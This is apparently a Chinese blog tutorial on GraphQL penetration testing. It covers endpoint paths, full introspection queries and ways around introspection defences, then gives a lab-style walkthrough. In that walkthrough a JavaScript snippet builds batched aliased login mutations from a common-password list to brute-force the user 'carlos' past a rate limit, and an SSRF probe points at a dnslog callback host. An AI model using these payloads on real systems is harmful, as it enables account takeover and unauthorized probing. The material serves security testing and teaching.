什么是GraphQL
GraphQL 是一种 API 查询语言,旨在促进客户端和服务器之间的高效通信。它使用户能够准确指定他们在响应中所需的数据,从而有助于避免有时使用 REST API 看到的大型响应对象和多个调用。
GraphQL 服务定义了一个合约,客户端可以通过该合约与服务器进行通信。客户端不需要知道数据驻留的位置。相反,客户端将查询发送到 GraphQL 服务器,该服务器从相关位置获取数据。由于 GraphQL 与平台无关,因此它可以使用多种编程语言实现,并且可用于与几乎任何数据存储进行通信。
由于技术原因,越来越多的公司使用 GraphQL 并将其后端切换到这个新系统,同时,随着查询变得更加复杂,也出现了一些安全问题:信息泄露、业务逻辑错误、IDOR 和不当访问控制等等漏洞。
工作原理
GraphQL 模式定义服务数据的结构,列出可用的对象(称为类型)、字段和关系。
GraphQL 模式描述的数据可以使用三种类型的操作进行操作:
- 查询提取数据(Queries fetch data)
- 突变添加、更改或删除数据。(Mutations add, change, or remove data)
- 订阅类似于查询,但设置了一个永久连接,服务器可以通过该连接以指定格式主动将数据推送到客户端。
所有 GraphQL 操作都使用相同的端点,并且通常作为 POST 请求发送。这与 REST API 有很大不同,后者跨一系列 HTTP 方法使用特定于操作的终结点。使用 GraphQL,操作的类型和名称定义查询的处理方式,而不是发送到的端点或使用的 HTTP 方法。
GraphQL 允许客户端在一个请求中明确地指定需要的数据,并返回预期的结果,而不是像 RESTful API那样只能获取预定义的资源。因此,GraphQL 简化了客户端与服务器之间的通信,提高了应用程序的性能和可扩展性。 与传统的 RESTfulAPI 不同,GraphQL通过将数据查询和数据修改分离开来,使得客户端能够更灵活地控制所需数据的粒度和类型,并且在多个资源之间建立关系。这样,客户端就可以很容易地实现高效的数据获取和更新,而无需为每个特定的用例编写特定的API。
GraphQL查询
我们根据前文已经得知,GraphQL是一种用于API的查询语言,它支持很多种查询方式:
• Query:常用的一种查询方式,使用Query可以指定需要返回的字段以及过滤条件。
query {
user(id: 1) {
name
email
}
}
• Mutation:用于在服务端修改或添加数据,类似于RESTful API的POST、PUT和DELETE方法。支持向服务端提交一些参数,并根据参数来执行相应的操作。
mutation {
updateUser(id: 1, name: "NewName") {
id
name
email
}
}
将id位1的用户名字改为NewName
• Subscription:高级特性,允许客户端通过WebSocket连接实时接收来自服务器的数据更新。例如,在线聊天,股票实时报价等。
以下Subscription会订阅一个名为newMessage的频道,并在有新消息时返回消息内容:
subscription {
newMessage(channel: "chat") {
content
author
}
}
• Input
• Enum
• Union
• Interface
• ······
GraphQL渗透测试方法和流程
-
了解GraphQL架构:首先,您需要了解目标应用程序的GraphQL架构。查找和分析GraphQL模式(Schema)以及相关的查询、突变(Mutations)和订阅(Subscriptions)操作。
-
枚举GraphQL端点:确定GraphQL API的端点URL。通常,GraphQL端点位于应用程序的特定路径下,例如
/graphql
或/api/graphql
。您可以使用这个URL来发出GraphQL查询。 -
枚举GraphQL模式:通过查询GraphQL模式,您可以了解可用的类型(Types)和字段(Fields),以及它们之间的关系。这有助于您构建有效的查询和利用可能的漏洞。
-
执行基本查询:开始进行基本查询,以获取有关数据的信息。使用GraphQL查询语法构建简单的查询,并观察响应中返回的数据。这有助于您理解应用程序的数据模型和交互方式。
-
注入攻击:在构建查询时,尝试使用一些特殊的输入来测试是否存在注入漏洞。例如,尝试通过注入恶意的查询参数来获取未经授权的数据访问或执行未经授权的操作。
-
枚举和利用敏感信息泄露:通过构建查询,尝试获取敏感信息,如用户凭据、API密钥或其他敏感数据。如果应用程序没有正确保护这些数据,可能会导致信息泄露漏洞。
-
突变和订阅操作:测试应用程序中的突变和订阅操作,确保它们受到适当的身份验证和授权限制。尝试执行未经授权的突变或订阅,或者尝试绕过访问控制策略。
-
深度遍历和枚举:对GraphQL模式进行深度遍历,并尝试枚举应用程序中的所有类型和字段。这有助于发现隐藏的或不常用的功能,并找到可能存在的安全问题。
-
检测和利用错误处理:通过故意引发错误来测试应用程序的错误处理机制。观察错误消息和堆栈跟踪,尝试从中获取有关应用程序的敏感信息。
-
检查安全配置:检查GraphQL服务器的配置和安全设置。确保启用了适当的身份验证和授权机制,并防止常见的安全配置错误。
请注意,这些步骤只是一般的指导,具体的GraphQL渗透测试方法和流程可能因应用程序的特定情况而有所不同。在执行渗透测试之前,请确保您已经获得合法的授权,并遵守适用的法律和伦理规范。
常见的GraphQL路径
/graphql
/graphql-console
/graphql-devtools
/graphql-explorer
/graphql-playground
/graphql-playground-html
/graphql.php
/graphql/console
/graphql/graphql
/graphql/graphql-playground
/graphql/schema.json
/graphql/schema.xml
/graphql/schema.yaml
/graphql/v1
/HyperGraphQL
/je/graphql
/laravel-graphql-playground
/lol/graphql
/portal-graphql
/v1/api/graphql
/v1/graphql
/v1/graphql-explorer
/v1/graphql.php
/v1/graphql/console
/v1/graphql/schema.json
/v1/graphql/schema.xml
/v1/graphql/schema.yaml
/v2/api/graphql
/v2/graphql
/v2/graphql-explorer
/v2/graphql.php
/graph
/graphql/console/
/graphiql
/graphiql.php
内省攻击
内省攻击是一种针对GraphQL API的攻击方法,利用了GraphQL的内省能力。GraphQL的内省(introspection)是指通过特定的查询来获取有关GraphQL模式的信息,包括可用的类型、字段、关系等。攻击者可以利用内省功能来了解目标GraphQL API的结构,从而更好地进行后续攻击。
以下是一些常见的内省攻击方法:
-
模式泄露:通过发送特定的内省查询(通常是
__schema
查询)来获取GraphQL模式的详细信息。攻击者可以利用这些信息来了解API的结构、类型和字段,甚至可能发现隐藏或敏感的功能。 -
类型混淆:攻击者可以通过查询和分析GraphQL模式来发现可能存在的类型混淆漏洞。类型混淆是指在GraphQL模式中存在多个具有相同名称但不同定义的类型,可能导致意外的数据访问或安全问题。
-
字段枚举:通过查询GraphQL模式,攻击者可以枚举目标API中的所有字段和关联关系。这些字段和关联关系的信息可以帮助攻击者了解数据模型、关系和功能,并进行后续攻击。
-
查询分析:攻击者可以通过发送大量的查询来分析GraphQL API的性能和复杂性。这可以帮助攻击者发现潜在的性能问题、资源消耗过高的查询以及可能的漏洞。
-
敏感信息泄露:通过分析GraphQL模式和执行查询,攻击者可以尝试获取敏感信息,如用户凭据、API密钥、数据库结构等。如果API没有正确保护这些信息,可能会导致信息泄露漏洞。
探索内省
可以使用以下简单查询来探测内省。如果启用了自检,响应将返回所有可用查询的名称。
{
"query": "{__schema{queryType{name}}}"
}
如下三段GraphQL 查询语句本质上是相同的,都是用于获取 GraphQL Schema 的元数据信息。它们的区别在于格式和编写方式:
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
{"query": "query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}
{"query":"query Query {\n __schema {\n queryType { name }\n mutationType { name }\n subscriptionType { name }\n types {\n ...FullType\n }\n directives {\n name\n description\n locations\n args {\n ...InputValue\n }\n }\n }\n }\n\n fragment FullType on __Type {\n kind\n name\n description\n fields(includeDeprecated: true) {\n name\n description\n args {\n ...InputValue\n }\n type {\n ...TypeRef\n }\n isDeprecated\n deprecationReason\n }\n inputFields {\n ...InputValue\n }\n interfaces {\n ...TypeRef\n }\n enumValues(includeDeprecated: true) {\n name\n description\n isDeprecated\n deprecationReason\n }\n possibleTypes {\n ...TypeRef\n }\n }\n\n fragment InputValue on __InputValue {\n name\n description\n type { ...TypeRef }\n defaultValue\n }\n\n fragment TypeRef on __Type {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n }\n }\n }\n }\n }\n }\n }\n }"}
为了防止内省攻击,可以采取以下措施:
限制内省功能:在GraphQL服务器的配置中,可以禁用或限制内省功能,以防止攻击者获取敏感信息。
访问控制和授权:确保GraphQL API实施适当的访问控制和授权机制,以限制对敏感数据和操作的访问。
输入验证和过滤:对于接收到的GraphQL查询,进行严格的输入验证和过滤,以防止注入攻击和其他恶意操作。
加密通信:使用HTTPS等安全协议来保护GraphQL通信,防止中间人攻击和信息泄露。
定期更新和监测:保持GraphQL服务器和相关库的更新,并定期监测潜在的漏洞和安全问题。
绕过 GraphQL 内省防御
以下是一些可能被攻击者尝试的绕过GraphQL内省防御的方法:
- 枚举可用的GraphQL端点:尝试通过不同的路径和URL来发现GraphQL端点。有时,开发人员可能会将GraphQL端点放在非标准位置,攻击者可以通过枚举和扫描来发现这些端点。
- 使用弱或默认配置:某些GraphQL服务器可能使用弱或默认的配置,未正确地限制内省功能。攻击者可以尝试查找这些服务器,并利用它们的配置不当来执行内省操作。
- 绕过访问控制:如果目标应用程序没有正确实施访问控制和授权机制,攻击者可能通过伪造身份验证令牌、修改请求头或直接访问GraphQL端点来绕过内省防御。
- 欺骗服务器:攻击者可能尝试修改GraphQL请求中的头部、参数或有效负载,以欺骗服务器绕过内省防御。这可能包括尝试使用特殊的查询参数、变量或操作来触发内省功能。
- 模式推断:攻击者可以尝试通过分析应用程序的行为和响应来推断GraphQL模式的一些信息。这可能包括观察响应中返回的错误消息、字段的存在与否以及查询的性能差异等。
防御办法:
1、启用适当的访问控制和授权机制,确保只有经过身份验证和授权的用户可以访问敏感数据和操作。2、限制内省功能的可用性,仅允许授权用户或角色进行内省查询。
3、对输入进行严格的验证和过滤,以防止注入攻击和恶意操作。
4、 定期更新和监测GraphQL服务器和相关库,以确保及时修补潜在的漏洞和安全问题。
实际案例(博客登录爆破绕过api限制)
分析目标站
大概浏览内容
是一个可以查看内容的博客站。
存在登录功能。
发现疑点
查看burp数据包发现是利用了GraphQL的加载模式:
开始测试
修改POST请求数据为
{
"query": "{__schema{queryType{name}}}"
}
可以 看到这里获取了根内容query
构造内容查询内部所有参数:
{
"query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue } } } }fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"
}
获取到所有参数:
将内容发送到可视化burp插件:
未发现利用的东西。
寻找其他测试点
5次登录失败,锁定1分钟
突破限制
重新抓包:
尝试修改api绕过:
通过此方法可以请求2次,突破了api限制。
指定用户名为carlos
这里也是利用别人生成的密码:
copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>`
bruteforce$index:login(input:{password: "$password", username: "carlos"}) {
token
success
}
`.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");
复制到浏览器执行:
复制到POST请求数据,放包:
找到true即可是账号密码。
登陆成功。
另作尝试(SSRF)
看到下边的操作,可以试试是否存在ssrf漏洞:
修改POST请求数据:
{
"query":"\n query getBlogPost($id: Int!) {\n getBlogPost(id: $id) {\n image\n title\n author\n date\n paragraphs\n }\n }",
"operationName":"getBlogPost",
"variables":{
"host":"nc0dxz.dnslog.cn",
"port":80,
"path":"/",
"scheme":"http"
}
}
尝试未果:
<若有新的点,后续补充>